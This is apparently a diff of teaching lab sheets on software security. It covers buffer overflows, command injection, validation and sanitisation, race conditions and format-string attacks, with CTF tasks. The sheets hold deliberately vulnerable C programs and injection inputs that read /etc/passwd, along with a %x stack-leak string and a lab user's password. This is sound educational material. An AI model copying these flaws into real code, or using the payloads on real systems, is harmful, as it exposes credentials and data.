As we can see, we have overwritten EIP with 0x41414141, which is a good sign that the program is vulnerable to further exploitation, since 41 is the hexadecimal ASCII representation of the letter 'A' (65 base10), which is what our input was made up of. So we did manage to write over the stack containing the EIP to restore!
|
||||
|
||||
> Note: As we will cover in a later lab, the ability to modify the EIP register often provides an attacker with the keys to the kingdom! As an attacker, we would aim to overwrite it with an address that points to code that we want to run.
|
||||
|
||||
> Note: Since 0x41414141 does not contain valid code, the program will crash with a segmentation fault.
|
||||
|
||||
```
|
||||
(gdb) x/s ==edit:0xffffd211==
|
||||
```
|
||||
|
||||
## Fixing the code {#fixing-the-code}
|
||||
|
||||
Programming languages such as C are not (strongly) type-safe; that is, it is possible to write any type of data such as integers or characters into any area of memory. Also these programming languages do not provide any automatic bounds checking to ensure that data is only written into the memory that has been allocated for specific variables. These issues have led to higher-level programing languages, such as Java, including some type safety and bounds checking to avoid some of these security problems. However, there are many other design and programming mistakes that can lead to software vulnerabilities, and C and C++ are important, often highly efficient, and still widely used languages.
|
||||
|
||||
The vulnerability in this specific example code is caused by the incorrect use of scanf() or gets() (if you used the alternative code provided above).
|
||||
|
||||
> Warning: The gets() function is ***never*** safe to use, it does not perform any bounds checking.
|
||||
|
||||
> Note: It is possible to safely use scanf(), by specifying the length of the buffer in the format string. For example "%31[^\n]" would read up to 31 characters.
|
||||
|
||||
==action: Make a copy of the code:==
|
||||
|
||||
```bash
|
||||
cp testerr.c testerr_fixed_scanf.c
|
||||
```
|
||||
|
||||
==action: Edit the code:==
|
||||
|
||||
```bash
|
||||
vi testerr_fixed_scanf.c
|
||||
```
|
||||
|
||||
==action: Edit the new copy, to **fix the security problem by adding a length to the scanf() call**==.
|
||||
|
||||
==action: When you believe you have fixed the issue save your changes to the file (Esc, ":wq")==.
|
||||
|
||||
==action: Compile your code:==
|
||||
|
||||
```bash
|
||||
gcc testerr_fixed_scanf.c -g -m32 -o testerr_fixed_scanf
|
||||
```
|
||||
|
||||
==action: Test your changes, with a valid, and an invalid input (try a long string)==.
|
||||
|
||||
> Note: If there are problems, edit and recompile the code until the program is secure.
|
||||
|
||||
> Hint: If your code is *still* overwriting the execute variable (and execute ends up empty), remember that you need to allow for an extra character for the terminating null (\0) character.
|
||||
|
||||
> Note: It is *recommended to use fgets()*, which accepts the length of text to read as a parameter.
|
||||
|
||||
From the man page ("man 3 fgets"):
|
||||
|
||||
```c
|
||||
char *fgets(char *s, int size, FILE *stream);
|
||||
```
|
||||
|
||||
> Note: "fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by **s**. Reading stops after an **EOF** or a newline. If a newline is read, it is stored into the buffer. A terminating null byte ('\0') is stored after the last character in the buffer."
|
||||
|
||||
==action: Make a copy of the code:==
|
||||
|
||||
```bash
|
||||
cp testerr.c testerr_fixed_fgets.c
|
||||
```
|
||||
|
||||
==action: Edit the code:==
|
||||
|
||||
```bash
|
||||
vi testerr_fixed_fgets.c
|
||||
```
|
||||
|
||||
==action: Edit the new copy, to **fix the security problem by adding a length to the scanf() call**==.
|
||||
|
||||
==action: When you believe you have fixed the issue save your changes to the file (Esc, ":wq")==.
|
||||
|
||||
==action: Compile your code:==
|
||||
|
||||
```bash
|
||||
gcc testerr_fixed_fgets.c -g -m32 -o testerr_fixed_fgets
|
||||
```
|
||||
|
||||
==action: Test your changes, with a valid, and an invalid input (try a long string)==.
|
||||
|
||||
> Note: If there are problems, edit and recompile the code until the program is secure.
|
||||
|
||||
## Introducing CTF challenges for this module {#introducing-ctf-challenges-for-this-module}
|
||||
|
||||
In this module, we are using a capture the flag (CTF) approach to marks for lab challenges. Some weeks you will find some programs in your home directory (under a challenges directory) – and other weeks we will explain other approaches.
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls /home/==edit:username==/challenges
|
||||
```
|
||||
|
||||
> Note: When you run the program it will give you instructions and hints on how to solve the challenge.
|
||||
|
||||
==action: Run the challenge (after changing to the directory):==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch2_03_IntOverflow
|
||||
```
|
||||
|
||||
```bash
|
||||
./Ch2_03_IntOverflow
|
||||
```
|
||||
|
||||
> Note: The ~ (tilde symbol) represents your home directory.
|
||||
|
||||
> Note: You can apply the techniques you have learned above (and in this case some reading about integer overflows) to solve the challenge, to determine the password that will provide you with a flag.
|
||||
|
||||
> Flag: Solve the CTF and submit the flag to Hacktivity.
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Learned how to understand C code, write simple C programs, and compile C into executable programs using GCC
|
||||
|
||||
* Learned some foundations of Assembly language, and interpreted machine instructions
|
||||
|
||||
* Used GDB to debug C code, stepping through code and viewing the assembly code and registers
|
||||
|
||||
* Caused some buffer overflows
|
||||
|
||||
* Written some C code to fix the issues in our example vulnerable software, using scanf and fgets securely
|
||||
|
||||
Well done\!
|
||||
|
||||
|
||||
[image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-1.png
|
||||
[image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-2.png
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-3.png
|
||||
[image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-4.png
|
||||
[image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-5.png
|
||||
[image-6]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-6.png
|
||||
[image-7]: {{ site.baseurl }}/assets/images/software_security_exploitation/1_c_asm_iof/image-7.png
|
||||
@@ -0,0 +1,647 @@
|
||||
---
|
||||
title: "Understanding Software Vulnerabilities: Injection Attacks, Race Conditions, and Format String Attacks"
|
||||
author: ["Z. Cliffe Schreuders"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn advanced software vulnerability concepts including command injection, race conditions, and format string attacks. Master validation, sanitization, and secure coding practices through hands-on exercises."
|
||||
overview: |
|
||||
Software vulnerabilities can have severe consequences, stemming from design and implementation problems. These problems can range from simple memory errors and bounds checking, like buffer overflows, to more complex issues such as race conditions, format string attacks, and misconfigured security mechanisms. In this lab you will learn to identify and understand these programming flaws through hands-on exercises.
|
||||
|
||||
You will explore command injection vulnerabilities. You'll be tasked with creating, compiling, and running and exploiting a C program susceptible to command injection. You will investigate concepts including validation and sanitization, essential for securing your code against malicious input. You will also learn how to use the diff and patch commands to create and apply code patches. You will also investigate and attack time of check to time of use race conditions. Lastly, you'll explore format string attacks, examining their dangers and vulnerabilities.
|
||||
|
||||
By the end of this lab, you will have acquired a deeper understanding of software vulnerabilities and learned practical techniques to identify, prevent, and mitigate these issues in your own code. These skills are invaluable for anyone involved in software development and cybersecurity.
|
||||
|
||||
In your home directory you will find some binaries representing challenges to complete to receive the flags.
|
||||
tags: ["software-security", "injection-attacks", "race-conditions", "format-strings", "validation", "sanitization", "ctf"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1GKmNARyF2-RQ-jK1_w4Y7V9vNtXsJvMmvXSbnadyEoE/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "intermediate"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["race condition vulnerabilities", "structured output generation vulnerabilities", "Format string attacks"]
|
||||
- ka: "SS"
|
||||
topic: "Prevention of Vulnerabilities"
|
||||
keywords: ["race condition mitigations", "structured output generations mitigations"]
|
||||
---
|
||||
|
||||
|
||||
## Recap: programming errors {#recap:-programming-errors}
|
||||
|
||||
It is hard to write secure code. Small programming mistakes can result in software vulnerabilities with serious consequences. The two main categories of software flaws are those caused by:
|
||||
|
||||
* design problems: such as, a programmer not thinking through the kind of authentication required
|
||||
|
||||
* implementation problems: such as, a programmer accidentally introducing a bug by using an insecure library method or trying to store too much data into a variable
|
||||
|
||||
Common programming errors that lead to security flaws include:
|
||||
|
||||
* Memory errors and bounds checking, such as buffer overflows
|
||||
|
||||
* Using input without sanitising it: this can lead to flaws such as command injection
|
||||
|
||||
* Race conditions
|
||||
|
||||
* Misconfigured/used access controls and other security mechanisms
|
||||
|
||||
* Misuse of pointers and strings
|
||||
|
||||
*This lab* focuses on looking at and understanding many of these programming flaws.
|
||||
|
||||
## Un-sanitised input and structured output generation vulnerabilities: command injection {#un-sanitised-input-and-structured-output-generation-vulnerabilities-command-injection}
|
||||
|
||||
Many programs dynamically generate structured output that then gets processed further. For example: A SQL statement sent to a database, or command sent to a shell; HTML consumed by a browser. Design or implementation flaws can result in dynamically generating output that does not match the intended functionality. This is known as a structured output generation vulnerability. An example of this is being vulnerable to command injection.
|
||||
|
||||
A program is vulnerable to command injection if you can change the behaviour of software by inserting commands into input that get interpreted as commands for the program to execute. The result is similar to the outcome of the previous lab, although with command injection an attacker does not need to overflow into a variable: they simply enter data into a variable that is misused by the programmer.
|
||||
|
||||
==action: Open a terminal console==.
|
||||
|
||||
==action: Move to a new directory for our code:==
|
||||
|
||||
```bash
|
||||
mkdir ~/code
|
||||
```
|
||||
|
||||
```bash
|
||||
cd ~/code
|
||||
```
|
||||
|
||||
==action: Create and edit a new file "injectionattack.c":==
|
||||
|
||||
```bash
|
||||
vi injectionattack.c
|
||||
```
|
||||
|
||||
> Note: **Reminder**: Vi is 'modal': it has an insert mode, where you can type text into the file, and normal mode, where what you type is interpreted as commands. ==action: Press the "i" key to enter "insert mode"==.
|
||||
|
||||
==action: Type the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
char name [20];
|
||||
char command [100];
|
||||
printf("What is your first name?\n");
|
||||
scanf("%19[^\n]s", &name);
|
||||
sprintf(command, "echo Hello %s; echo The time is "
|
||||
"currently:; date", name);
|
||||
system(command);
|
||||
}
|
||||
```
|
||||
|
||||
==action: Exit back to "normal mode" by pressing the Esc key==. Now to ==action: exit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
|
||||
|
||||
> Tip: Alternatively if you want to copy and paste, rather than using vi, run `cat > injectionattack.c` and paste into the terminal, then press `Ctrl-D` to end the file.
|
||||
|
||||
==action: Compile the program:==
|
||||
|
||||
```bash
|
||||
gcc injectionattack.c -g -m32 -o injection
|
||||
```
|
||||
|
||||
==action: Run the program:==
|
||||
|
||||
```bash
|
||||
./injection
|
||||
```
|
||||
|
||||
==action: Try entering your own name, and confirm that the program works as expected in this case==.
|
||||
|
||||
==action: Try entering a long input, and confirm that the program works as expected in this case==.
|
||||
|
||||
Note that this code is vulnerable to command injection. To understand the attack, it is important to understand the way this code works. The sprintf line builds a string based on a format string: it is like printf, except that it writes to a string variable rather than to the console. It is used in this case to create the output for the user, by creating Bash commands, which the next line executes, by passing this through to the Bash shell. The final command that is stored in command looks like:
|
||||
|
||||
```bash
|
||||
echo Hello Cliffe; echo The time is currently:; date
|
||||
```
|
||||
|
||||
> Tip: The semicolon (";") is used in Bash to separate commands, so this is effectively going to run three commands via Bash:
|
||||
|
||||
```bash
|
||||
echo Hello Cliffe
|
||||
```
|
||||
|
||||
```bash
|
||||
echo The time is currently:
|
||||
```
|
||||
|
||||
```bash
|
||||
date
|
||||
```
|
||||
|
||||
==action: Add a comment above each line of code, with an explanation of its purpose. For example, "// this line reads 19 characters from the user, and stores them in name followed by a terminating \\0 character"==.
|
||||
|
||||
> Note: Note that the user can type up to 19 characters, and they will be included in the above command sequence.
|
||||
|
||||
> Question: Can you think of a way of subverting the behaviour of this program, so that it prints the contents of /etc/passwd?
|
||||
|
||||
==action: Confirm the command injection vulnerability...==
|
||||
|
||||
==action: Run the program:==
|
||||
|
||||
```bash
|
||||
./injection
|
||||
```
|
||||
|
||||
> Action: **Challenge:** Enter an input that makes the program print out /etc/passwd
|
||||
|
||||
**Solution:**
|
||||
|
||||
> Warning: **SPOILER ALERT! SPOILER ALERT! SPOILER ALERT!**
|
||||
|
||||
> Note: Since the semicolon can be used to separate commands, you can simply include a semicolon in your input, which starts a new Bash command.
|
||||
|
||||
==action: You can exploit this vulnerability as follows:==
|
||||
|
||||
```bash
|
||||
./injection
|
||||
```
|
||||
|
||||
```
|
||||
;cat /etc/passwd
|
||||
```
|
||||
|
||||
> Note: This makes the final command run by Bash:
|
||||
|
||||
```bash
|
||||
echo Hello ;cat /etc/passwd; echo The time is currently:; date
|
||||
```
|
||||
|
||||
> Warning: End of spoiler section
|
||||
|
||||
Make sure you understand the answers to these questions:
|
||||
|
||||
> Question: What is the maximum amount of damage that this attack against this program could theoretically cause?
|
||||
|
||||
> Question: Would the security threat be higher if the program was: setuid? What about a server that people connected to over a network?
|
||||
|
||||
Note that this attack is the same way that SQL injection works, the difference is that here we have commands sent to bash, rather than to a Web server database. Command injection attacks can apply to any type of programming, web, application, system, or otherwise, whenever input from a user is used as part of an interpreted command.
|
||||
|
||||
The solution is that all data that comes from an untrusted source must be validated and sanitised before use.
|
||||
|
||||
> Question: What is an untrusted source? Examples?
|
||||
|
||||
> Question: What sources would you trust enough that you wouldn't check it before processing?
|
||||
|
||||
## Validation {#validation}
|
||||
|
||||
Validation involves checking that data is in the format you expect.
|
||||
|
||||
==action: Create and edit a new file "injectionattack_validated.c":==
|
||||
|
||||
```bash
|
||||
vi injectionattack_validated.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#define IS_VALID 1
|
||||
#define NOT_VALID 0
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
|
||||
int validate(char* input) {
|
||||
int i;
|
||||
for(i=0; i < strlen(input); i++) {
|
||||
if(!isalpha(input[i])) {
|
||||
return NOT_VALID;
|
||||
}
|
||||
}
|
||||
return IS_VALID;
|
||||
}
|
||||
|
||||
int main() {
|
||||
char name [20];
|
||||
char command [100];
|
||||
printf("What is your first name?\n");
|
||||
scanf("%19[^\n]s", &name);
|
||||
if(validate(name) == IS_VALID) {
|
||||
sprintf(command, "echo Hello %s; echo The time is currently:;"
|
||||
"date", name);
|
||||
system(command);
|
||||
} else {
|
||||
printf("Invalid input!\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The above code adds validation to the previous code, by examining each character in the input, and if any character is not a letter, it refuses to run the command.
|
||||
|
||||
==action: Add a comment above each new line of code, with an explanation of its purpose==.
|
||||
|
||||
==action: Compile and run the program==.
|
||||
|
||||
==action: Attempt your command injection, and confirm that the attack no longer works==.
|
||||
|
||||
## Creating code patches using diff {#creating-code-patches-using-diff}
|
||||
|
||||
The common Unix commands diff and patch can be used to apply delta changes to a file. A delta describes the changes made, rather than an entire file.
|
||||
|
||||
The diff command outputs a delta (or "diff"), that can be applied by someone else to a suitably similar file, using patch.
|
||||
|
||||
==action: Create a patch:==
|
||||
|
||||
```bash
|
||||
diff -u injectionattack.c injectionattack_validated.c > injectionattack.addvalidation.patch
|
||||
```
|
||||
|
||||
This has directed the output from diff into a new file, which adds validation to the original code.
|
||||
|
||||
==action: View the diff:==
|
||||
|
||||
```bash
|
||||
less injectionattack.addvalidation.patch
|
||||
```
|
||||
|
||||
==action: Make a copy of injectionattack.c called injectionattack_update.c:==
|
||||
|
||||
```bash
|
||||
cp injectionattack.c injectionattack_update.c
|
||||
```
|
||||
|
||||
==action: Apply your patch to the copy:==
|
||||
|
||||
```bash
|
||||
patch injectionattack_update.c < injectionattack.addvalidation.patch
|
||||
```
|
||||
|
||||
==action: View the updated version:==
|
||||
|
||||
```bash
|
||||
less injectionattack_update.c
|
||||
```
|
||||
|
||||
You have successfully generated a patch, and used it to update an old version of the code to apply a set of changes.
|
||||
|
||||
## Sanitisation {#sanitisation}
|
||||
|
||||
Sanitisation involves *removing* any potentially dangerous formatting / content from a variable. This can 'fix' the input, to make it safe for use.
|
||||
|
||||
==action: Make a copy of injectionattack_validated.c called injectionattack_sanitied.c:==
|
||||
|
||||
```bash
|
||||
cp injectionattack_validated.c injectionattack_sanitised.c
|
||||
```
|
||||
|
||||
==action: **Edit injectionattack_sanitied.c to sanitise the input**, so that it is safe for use, and prints the name input, even if the user enters invalid characters, such as ";"==.
|
||||
|
||||
> Note: For example, if the user enters ";/etc/password" this could be changed to "etcpasswd" or "--etc-password".
|
||||
|
||||
> Hint: replacing any invalid character with "**-**" is probably the easiest solution.
|
||||
|
||||
==action: Compile, run, and test your program==.
|
||||
|
||||
==action: Once you are satisfied with your solution, create a patch:==
|
||||
|
||||
```bash
|
||||
diff -u injectionattack_validated.c injectionattack_sanitised.c > injectionattack.addsanitisation.patch
|
||||
```
|
||||
|
||||
## Denylist (blacklist) vs allowlist (whitelist) {#denylist-blacklist-vs-allowlist-whitelist}
|
||||
|
||||
==action: Try entering this as input to you and your classmate's new version of the program:==
|
||||
|
||||
```bash
|
||||
./injectionattack_sanitised
|
||||
```
|
||||
|
||||
```
|
||||
& cat /etc/passwd
|
||||
```
|
||||
|
||||
If this attack succeeds, even after you updated the code to defend against the previous ";" attack, then this means you likely based your solution on denylisting certain values, rather than checking against an allowlist of acceptable values.
|
||||
|
||||
The safest approach is to remove everything you don't actively expect, rather than removing what you know you don't want. (The same goes for validation, which should check for a set of valid characters, rather than a set of invalid characters.)
|
||||
|
||||
> Question: Why is checking against a whitelist the safer approach?
|
||||
|
||||
## CTF challenge {#ctf-challenge}
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls /home/==edit:username==/challenges
|
||||
```
|
||||
|
||||
> Tip: When you run the program it will give you instructions and hints on how to solve the challenge.
|
||||
|
||||
==action: Run the challenge (always after changing to the directory first):==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_BashInjection_1
|
||||
```
|
||||
|
||||
> Tip: The ~ (tilde symbol) represents your home directory.
|
||||
|
||||
|
||||
```bash
|
||||
./Ch_BashInjection_1
|
||||
```
|
||||
|
||||
You can apply the techniques you have learned above to solve the challenge, to determine the password that will provide you with a flag.
|
||||
|
||||
> Flag: **Challenge**: perform command injection against this version.
|
||||
|
||||
> Hint: The input string is surrounded by quotes.
|
||||
|
||||
> Hint: Think about what the resulting command will look like to bash. Also think about how you can use single quotes (`'`).
|
||||
|
||||
|
||||
## Race conditions {#race-conditions}
|
||||
|
||||
If you rely on something on the system to stay in the same state between two lines of code, you probably have a race condition. It is hard not to be dependent on the sequence or timing of other events, but getting this wrong can have security implications.
|
||||
|
||||
Time of check to time of use, *TOCTTOU (“tock too”),* flaws can cause security vulnerabilities. TOCTTOU occurs when something changes between when a condition is checked, and the resulting action happens. For example, if a program checks that a file exists (or someone has permissions to it), then goes on to do something. This could introduce a security flaw, since an attacker could make carefully timed changes to the system between these two events.
|
||||
|
||||
==action: Create and edit a new file "race_condition.c":==
|
||||
|
||||
```bash
|
||||
cd ~/code
|
||||
```
|
||||
|
||||
```bash
|
||||
vi race_condition.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
int main()
|
||||
{
|
||||
char tmpname [20] = "/tmp/not_so_random";
|
||||
char command [100];
|
||||
|
||||
struct stat buf;
|
||||
int ok = stat(tmpname, &buf);
|
||||
|
||||
sleep(10);
|
||||
|
||||
if(ok == 0) {
|
||||
printf("Temporary file already exists, "
|
||||
"we need a new name...");
|
||||
} else {
|
||||
printf("File does not exist, writing...");
|
||||
/* set umask to remove permissions from all new files */
|
||||
umask( S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH );
|
||||
|
||||
sprintf(command, "echo Saved file > %s", tmpname);
|
||||
system(command);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
==action: Compile the program:==
|
||||
|
||||
```bash
|
||||
gcc race_condition.c -o race_condition
|
||||
```
|
||||
|
||||
This code checks that a temporary file named /tmp/not_so_random does not exist before creating the file. The umask is set before creation so that the new file is only readable and writable by the current user.
|
||||
|
||||
The 10 second delay in the code between the check and subsequent action is an exaggeration (the actual delay would be *much* shorter), but it helps us explore the flaw.
|
||||
|
||||
==action: Check the program works by running it (and wait for the 10 seconds for it to run):==
|
||||
|
||||
```bash
|
||||
./race_condition
|
||||
```
|
||||
|
||||
==action: Check the file has been created:==
|
||||
|
||||
```bash
|
||||
ls -l /tmp/not_so_random
|
||||
```
|
||||
|
||||
```bash
|
||||
cat /tmp/not_so_random
|
||||
```
|
||||
|
||||
==action: Open a separate console window or tab for your "Second" user (*named "second"*)==.
|
||||
|
||||
**As second user:** (with username "second")
|
||||
|
||||
```bash
|
||||
su - second
|
||||
```
|
||||
|
||||
> Note: The second user has the same password: tiaspbiqe2r
|
||||
|
||||
==action: Check that the second user can't access the file==
|
||||
|
||||
```bash
|
||||
cat /tmp/not_so_random
|
||||
```
|
||||
|
||||
**As your main user:**
|
||||
|
||||
==action: Remove the file:==
|
||||
|
||||
```bash
|
||||
rm /tmp/not_so_random
|
||||
```
|
||||
|
||||
> Question: Consider this. What if something happens between the check and the following code? What if a file was put there in between?
|
||||
|
||||
==action: Run the program as your main user:==
|
||||
|
||||
```bash
|
||||
./race_condition
|
||||
```
|
||||
|
||||
***Quickly** switch to the other second user console.*
|
||||
|
||||
**As second user:**
|
||||
|
||||
==action: While the program is running and sleeping:==
|
||||
|
||||
```bash
|
||||
umask 000; touch /tmp/not_so_random
|
||||
```
|
||||
|
||||
**As your main user:**
|
||||
|
||||
==action: Wait for the program to end==.
|
||||
|
||||
> Question: What permissions does the file now have, and who can access it?
|
||||
|
||||
```bash
|
||||
ls -l /tmp/not_so_random
|
||||
```
|
||||
|
||||
```bash
|
||||
cat /tmp/not_so_random
|
||||
```
|
||||
|
||||
**As second user:**
|
||||
|
||||
```bash
|
||||
cat /tmp/not_so_random
|
||||
```
|
||||
|
||||
The very subtle timing flaw in the program means that if an attacker can create a file at just the right time, they can make the program act in unexpected ways that violate security goals.
|
||||
|
||||
There is a whole category of attacks that use symlinks to make files with these kinds of race conditions to write to any file that the victim can access, which some defenses exist for: [Hard Link/Soft Link Protection](https://danwalsh.livejournal.com/64493.html).
|
||||
|
||||
## Preventing race conditions by using exception handling {#preventing-race-conditions-by-using-exception-handling}
|
||||
|
||||
> Note: One way of reducing these types of errors is to use exception handling rather than checking conditions separately. For example, use an "open" function call, with a flag to tell the function to return an error if the file exists.
|
||||
|
||||
==action: **Modify race_condition.c so that it opens the file using a parameter that tells it to fail if the file exists.**==
|
||||
|
||||
> Hint: `man open`, and write to the file using C library calls rather than the `system()` function call
|
||||
|
||||
==action: Compile, run, and test that this fixes the race condition==.
|
||||
|
||||
Look up and read about other types of race conditions such as those caused by multiple threads sharing the same data.
|
||||
|
||||
## Format string attacks {#format-string-attacks}
|
||||
|
||||
Some functions such as printf() receive a format string, followed by multiple variables to display, as specified in the format string.
|
||||
|
||||
For example, to print the a message that includes a string (text) and an integer (whole number), the C code would be:
|
||||
|
||||
```c
|
||||
printf("Hello %s, you entered %d", string, number);
|
||||
```
|
||||
|
||||
When printf() is run, it reads the format string, then looks to the stack for the data to replace the format string values (as per the way parameters are passed to functions). The "%s" is replaced by a string from the stack (input), and the "%d" is replaced by an integer (number).
|
||||
|
||||
An overview of format string specifiers:
|
||||
|
||||
* `%d`: signed integer (**d**ecimal)
|
||||
|
||||
* `%f`: double (real **f**loating point number)
|
||||
|
||||
* `%x`: (he**x**adecimal -- "%08x" can be used to print 8 digits/bytes of memory)
|
||||
|
||||
* `%s`: (**s**tring)
|
||||
|
||||
* `%n`: number of bytes written by printf (writes to memory)
|
||||
|
||||
The correct way of printing only the string, is:
|
||||
|
||||
```c
|
||||
printf("%s", string);
|
||||
```
|
||||
|
||||
> Warning: The lazy and vulnerable (**bad**) way would be to use code like this:
|
||||
|
||||
```c
|
||||
printf(string);
|
||||
```
|
||||
|
||||
> Warning: If a lazy programmer passes user input *as the format string*, an attacker can use clever tricks to view the contents of the stack, or even write to memory! This can lead to serious security vulnerabilities.
|
||||
|
||||
==action: Create and edit a new file "format_string_attack.c":==
|
||||
|
||||
```bash
|
||||
vi format_string_attack.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
int main() {
|
||||
int allowed_access = 0;
|
||||
int secret_number = 42;
|
||||
char name [100];
|
||||
printf("What is your first name?\n");
|
||||
fgets(name, sizeof(name), stdin);
|
||||
printf("You entered:\n");
|
||||
printf(name); // oops!
|
||||
if(strcmp(name, "secret\n") == 0) {
|
||||
allowed_access = 1;
|
||||
}
|
||||
if(allowed_access != 0) {
|
||||
printf("\nThe secret number is %d\n", secret_number);
|
||||
} else {
|
||||
printf("\nNot telling you the secret\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
==action: Compile this program:==
|
||||
|
||||
```bash
|
||||
gcc format_string_attack.c -g -m32 -o format_string_attack
|
||||
```
|
||||
|
||||
==action: Try running the program, and enter the name "Bob"==.
|
||||
|
||||
==action: Run it again and enter "secret"==.
|
||||
|
||||
Note that the program is designed so that only someone called "secret" will be told the secret number. Ignoring the obviously weak authentication, lets focus on how we can exploit the line in bold — "print(name);" — using a format string attack.
|
||||
|
||||
> Question: Consider this: What happens if the user enters a format string specifier?
|
||||
|
||||
==action: Try running the program, and enter the name "**%d**"==.
|
||||
|
||||
This results in a call to printf() which prompts it to read a number off the stack. Unfortunately there is no number passed as a parameter to printf(); however, printf() does not know this, and diligently reads from the stack, and displays a mysterious number.
|
||||
|
||||
==action: Try running the program, and enter the name:==
|
||||
|
||||
```
|
||||
"AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x". (%x appears 31 times).
|
||||
```
|
||||
|
||||
![][image-3]
|
||||
|
||||
The result is that printf() works its way back down the stack, reading values and printing them in hex form. Note that the "41414141" represents the first "AAAA" from the input, which shows that we are successfully tricking the program into displaying the stack. The values before the 0x41414141 are not intended for printf(); but printf() works its way through whatever is on the stack, as though they were parameters passed to printf().
|
||||
|
||||
Q: So what does this mean? A: An attacker can read values off the stack!
|
||||
|
||||
In this case the output includes the secret_number, 0x2a which equals decimal 42! Following that is the value 0, which specifies that we don't have permission to access that information.
|
||||
|
||||
> Question: What format string specifier can be used to write arbitrary data?
|
||||
|
||||
## Format String CTF challenges {#format-string-ctf-challenges}
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls /home/==edit:username==/challenges
|
||||
```
|
||||
|
||||
> Tip: When you run each program it will give you instructions and hints on how to solve the challenge.
|
||||
|
||||
==action: Run each of the challenges (always after changing to the directory first):==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch3_Format0_Leak
|
||||
```
|
||||
|
||||
```bash
|
||||
./Ch3_Format0_Leak
|
||||
```
|
||||
|
||||
> Flag: You can apply the techniques you have learned above (and in this case some reading about format strings) to solve the challenges, to determine the password that will provide you with a flag. Submit the flags to Hacktivity!
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Exploited command injection errors
|
||||
|
||||
* Written C code for doing sanitisation
|
||||
|
||||
* Used diff and patch to create and apply delta changes
|
||||
|
||||
* Exploited code with time of check to time of use race conditions
|
||||
|
||||
* Coded a solution based on exception handling
|
||||
|
||||
* Exploited format string vulnerabilities to read data from the stack
|
||||
|
||||
Well done\!
|
||||
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/2_race_conditions_format_str/image-3.png
|
||||
@@ -0,0 +1,584 @@
|
||||
---
|
||||
title: "Bug Hunting Using Fuzzing and Static Analysis"
|
||||
author: ["Z. Cliffe Schreuders"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn advanced bug hunting techniques including fuzzing and static analysis to identify software vulnerabilities. This lab covers manual code auditing, fuzzing with Spike, Metasploit FTP fuzzing, and CTF challenges."
|
||||
overview: |
|
||||
Identifying and fixing software vulnerabilities is of paramount importance. This lab introduces two techniques for bug hunting: Fuzzing and Static Analysis. These methods are essential for uncovering hidden security flaws in software, which can be exploited for malicious purposes if left unaddressed. Fuzzing involves sending unexpected and often malformed data as input to a program, searching for weaknesses, while Static Analysis employs automated tools to analyze the code structure for potential issues. This lab provides a hands-on experience in finding and exploiting vulnerabilities.
|
||||
|
||||
In this lab, you will learn how to manually audit C code to spot errors and use various fuzzing techniques to test network programs for security flaws. You will start by auditing and securing C code, identifying vulnerabilities, and fixing potential issues. You will then explore the world of fuzzing, where you will learn to use tools like Spike to send various inputs to network services to uncover potential vulnerabilities. The lab also guides you through Metasploit's FTP fuzzing module. Finally, you will apply your knowledge to CTF challenges, running and fuzzing network services to crash programs and uncover flags. By the end of this lab, you will have gained practical skills and knowledge in software security testing and vulnerability detection.
|
||||
tags: ["fuzzing", "static-analysis", "bug-hunting", "vulnerability-detection", "spike", "metasploit"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1yuDcFkI2-KD4Xfti4PahE038o-6324LKSx075ZSsuKw/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Detection of Vulnerabilities"
|
||||
keywords: ["dynamic detection"]
|
||||
---
|
||||
|
||||
## Introduction to bug hunting {#introduction-to-bug-hunting}
|
||||
|
||||
